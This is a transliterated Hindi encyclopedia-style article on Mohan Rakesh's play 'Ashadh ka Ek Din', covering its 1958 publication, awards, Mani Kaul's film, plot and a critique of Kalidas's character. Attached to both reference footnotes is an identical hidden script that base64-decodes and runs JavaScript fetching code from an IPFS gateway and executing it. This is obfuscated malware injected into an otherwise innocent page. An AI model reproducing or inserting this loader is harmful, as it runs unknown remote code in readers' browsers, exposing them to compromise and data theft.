आषाढ़ का एक दिन -मोहन राकेश
ashadh ka ek din -mohan rakesh
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| lekhak | mohan rakesh |
| mool shirshak | ashadh ka ek din |
| prakashan tithi | 1958 |
| ISBN | 9788170284000 |
| desh | bharat |
| bhasha | hindi |
| prakar | natak |
| mukhaprishth rachana | sajild |
ashadh ka ek din san 1958 mean prakashit aur natakakar mohan rakesh dvara rachit ek hindi natak hai. kabhi-kabhi is natak ko hindi natak ke adhunik yug ka pratham natak kaha jata hai. 1959 mean ise varsh ka sarvashreshth natak hone ke lie 'sangit natak akadami puraskar' mila tha. kee prasiddh nirdeshak ise manch par bhi la chukean haian. varsh 1979 mean nirdeshak mani kaul ne is natak par adharit ek film bhi banaee thi, jisane age jakar sal ki sarvashreshth film ka 'film feyar puraskar' jita.
vastutah mohan rakesh ke natak keval hindi ke natak nahian haian. ve hindi mean likhe avashy ge haian, kintu ve samakalin bharatiy naty pravrittiyoan ke udyotak haian. unhoanne hindi natak ko pahali bar akhil bharatiy star hi nahian pradan kiya varanh usake sadiyoan ke alag-thalag pravah ko vishv natak ki ek samany dhara ki or bhi agrasar kiya. pramukh bharatiy nirdeshakoan ibrahim alakaji, om shivapuri, araviand gau d, shyamanand jalan, ram gopal bajaj aur dinen rakesh ke natakoan ka nirdeshan kar unaka bahut hi manorahar dhag se manchan kiya. 1971 mean nirdeshak mani kaul ne 'ashadh ka ek din' par adharit ek film banaee, jisako sal ki sarvashreshth film ka 'film feyar puraskar' diya gaya. mohan rakesh ke natak 'ashadh ka ek din' mean aitihasik prishthabhoomi ko lene par bhi adhunik manushy ke aantadvand aur sanshayoan ki hi gatha kahi gee hai. 'ashadh ka ek din' mean saphalata aur prem mean ek ko chunane ke dvand se joojhate kalidas ek rachanakar aur ek adhunik manushy ke man ki paheliyoan ko samane rakha hai. vahian prem mean tootakar bhi prem ko nahian tootane dene vali is natak ki nayika ke roop mean hindi sahity ko ek avismaraniy patr mila hai. rakesh ke natakoan ko rangamanch par mili shanadar saphalata is bat ka gavah bani ki natak aur rangamanch ke bich koee khaee nahian hai. ashadh ka mah uttar bharat mean varsha rritu ka aranbhik mahina hota hai, isalie shirshak ka arth "varsha rritu ka ek din" bhi liya ja sakata hai.[1]
kathavastu
‘ashadh ka ek din’ ki pratyaksh vishayavastu kavi kalidas ke jivan se sanbandhit hai. kintu moolat: vah usake prasiddh hone ke pahale ki preyasi ka natak hai- ek sidhi-sadi samarpit l daki ki niyati ka chitr, jo ek kavi se prem hi nahian karati, use mahanh hote bhi dekhana chahati hai. mahanh vah avashy banata hai, par isaka mooly mallika apana sarvasv dekar chukati hai. aant mean kalidas bhi use keval apani sahanubhooti de pata hai, aur chupake se chho dakar chale jane ke atirikt usase kuchh nahian ban p data. mallika ke lie kalidas usake sanpoorn vyaktitv ke, jivan mean, sath ekakar sudoor svapn ki bhaanti hai; kalidas ke lie mallika usake preranadayak parivesh ka ek atyant jivant tatv matr. ananyata aur atmaliptata ki is visadrishata mean paryapt natakiyata hai, aur mohan rokesh jis ekagrata, tivrata aur gaharaee ke sath use khojane aur vyakt karane mean saphal hue haian vah hindi natak ke lie sarvatha aparichit hai.
isake sath hi samakalin anubhav aur bhi kee ayam is natak mean haian, jo use ekadhik star par sarthak aur rochak banate haian. usaka natakiy sangharsh kala aur prem, sarjanashil vyakti aur parivesh, bhavana aur karm, kalakar aur rajy, adi kee staroan ko chhoota hai. isi prakar kal ke ayam ko b di rochak tivrata ke sath prastut kiya gaya hai-lagabhag ek patr ke roop mean. mallika aur usake parivesh ki parinati mean to vah maujood hai hi, svayan kalidas bhi usake vighatanakari roop ka anubhav karata hai. apani samast atmaliptata ke bavajood use lagata hai ki apane parivesh mean tootakar vah svayan bhi bhitar kahian toot gaya hai.[2]
kintu shayad kalidas hi is natak ka sabase kamazor aansh hai; kyoanki aantat: natak mean udghatit usaka vyaktitv n to kisi moolyavan aur sarthak star par sthapit hi ho pata hai, n itihas-prasiddh kavi kalidas ko, aur is prakar usake madhyam se samast bharatiy sarjanatmak pratibha ko, koee gahara vishvasaniy ayam hi de pata hai. natak mean prastut kalidas b da kshudr aur atmakendrit, balki svarthi vyakti hai. sath hi usake vyaktitv mean koee tatv aisa nahian dikh p data, jo usaki mahanata ka, usaki asadharan sarjanatmak pratibha ka, srotr samajha ja sake ya usaka auchity siddh kar sake. rajy ki or se samman aur nimantran milane par vah nahian-nahian karata hua bhi aant mean ujjain chala hi jata hai. kashmir ka shasak banane par gaanv mean akar bhi mallika se milane nahian ata; aant mean mallika ke jivan ki utani karun, dukhad parinati dekhakar bhi use chho dakar kayaratapoorvak chupachap khisak p dana sanbhav pata hai. ye sabhi usake vyaktitv ke aise paksh haian, jo usako ek atyant sadharan vyakti ke roop mean hi prakat karate haian. nissandeh, kisi mahanh sarjanatmak vyaktitv mean mahanata aur nichata ke do chhoroan ka ek sath aantargrathit hona sanbhav hai. ‘ashadh ka ek din’ mean kalidas ka hin roop hi dikh p data hai. mahanata ko chhoone vale sootr ka chhor kahian nahian nazar ata. lekhak usake bhitar aise tivr virodhi tattvoan ka koee sangharsh bhi nahian dikha sakata hai, jo is kshudrata ke sath-sath usaki asadharan sarjanashilata ko vishvasaniy bana sake. kalidas ki yah sthiti natak ko kisi-kisi had tak kisi bhi gaharaee ke sath vyanjit nahian hone deti.
visadrishata ke do any rochak roop haian- mallika ki maan ambika aur kalidas ka mama matul. donoan bujurg haian, natak ke do pramukh tarun patroan ke abhibhavak. donoan hi apane-apane pratipalitoan se asantusht, balki nirash haian. phir bhi donoan ek doosare se ekadam bhinn, balki lagabhag viparit haian. donoan ke bich yah bhinnata sanskar, jivanadrishti, svabhav, vyavahar, bolachal, bhasha adi anek staroan par ukeri gayi hai. isase mallika aur kalidas donoan ke charitr adhik sookshm aur rochakata ke sath roopayit ho sake haian. aisi hi dilachasp visadrishata vikshep aur kalidas tatha mallika aur priyangumanjari ke bich bhi rachi gayi hai. isi tarah bahut sanyat aur prabhavi dhang se, vyangy aur sookshm hasy ke sath, samakalin sthitiyoan ki anugooanj paida ki gayi hai rangina-sangini aur anusvar-anunasik ki do jo diyoan ke dvara. ye tho di hi der ke lie ate haian, par b di kushalata se kee batean vyanjit kar jate haian. vastav mean ‘ashadh ka ek din’ ki lekhan aur pradarshan donoan hi staroan par vyapak saphalata ka adhar hai usaki behad sadhi huee, sanyamati aur suchiantit patr-yojana. isamean koee ashchary ki bat nahian ki ‘ashadh ka ek din’ pichhale tis-battis varshoan mean bharat ki anek bhashaoan mean, anek kendroan mean bar-bar khela gaya hai aur ab bhi usaka akarshan kuchh kam nahian hua hai.
nissandeh, hindi natak ke pariprekshy mean aur bhavavastu aur roopabandh donoan star par ‘ashadh ka ek din’ aisa paryapt saghan, tivr aur bhavoddipt lekhan prastut karata hai, jaisa hindi natak mean bahut kam hi hua hai. usamean bhav aur sthiti ki gaharaee mean jane ka prayas hai aur poora natak ek sath kee staroan par prabhavakari hai. bianboan ke b de prabhavi natakiy prayog ke sath usamean shabdoan ki apoorv mitavyayata bhi hai aur bhasha mean aisa natakiy kavy hai, jo hiandi natakiy gady ke lie abhootapoorv hai. hindi ke dheroan tatha kathit aitihasik natakoan se ‘ashadh ka ek din’ isalie maulik roop mean bhinn hai ki usamean atit ka n to tathakathit vivaran hai, n punaruthanavadi gaurav-gan, aur n hi vah dvijeandralal ray ke natakoan ki shaili mean koee bhavukatapoorn atinatakiy sthitiyaan rachane ki koshish karata hai. usaki drishti kahian jyada adhunik aur sookshm hai, jisake karan vah sahi arth mean adhunik hindi natak ki shuruat ka soochak hai.[2]
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tika tippani aur sandarbh
- ↑ ashadh ka ek din (hindi). . abhigaman tithi: 02 janavari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 mohan rakesh ke sampoorn natak (hindi). . abhigaman tithi: 02 janavari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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